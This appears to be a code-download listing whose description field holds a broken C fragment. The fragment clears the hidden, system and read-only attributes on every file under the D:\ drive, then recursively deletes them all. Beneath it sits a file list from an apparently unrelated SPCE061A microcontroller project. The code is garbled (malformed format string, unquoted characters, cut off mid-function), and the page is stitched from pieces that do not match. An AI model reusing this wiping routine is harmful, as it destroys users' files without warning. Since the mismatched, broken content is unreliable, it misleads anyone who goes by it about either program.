Description: sprintf(cmd,"attrib-s-r-h s",FileInfo.name)
system(cmd)
if( FileInfo.attrib == FILE_ATTRIBUTE_FILE)
DeleteFile(FileInfo.name)
else if(FileInfo.attrib == FILE_ATTRIBUTE_DIRECTORY){
if( FileInfo.name[0] != . ) {
_chdir(FileInfo.name)
MyDeleteFile()
_chdir("..")
}
}
}while(!_findnext(lHandle,&FileInfo))
_findclose(lHandle)
}
int main(){
if(_chdir("d:\\"))
exit(1)
To Search:
File list (Check if you may need any files):
1
.\1.env
.\1.h
.\1.opt
.\1.rc
.\1.set
.\1.spj
.\12.c
.\constant.H
.\Debug
.\.....\1.ary
.\Device.env
.\Makefile
.\Motor_Var.H
.\Port_Def.H
.\Resource.asm
.\Resource.inc
.\SPCE061A.h
.\SPCE061A.inc
.\STC12C5410AD.H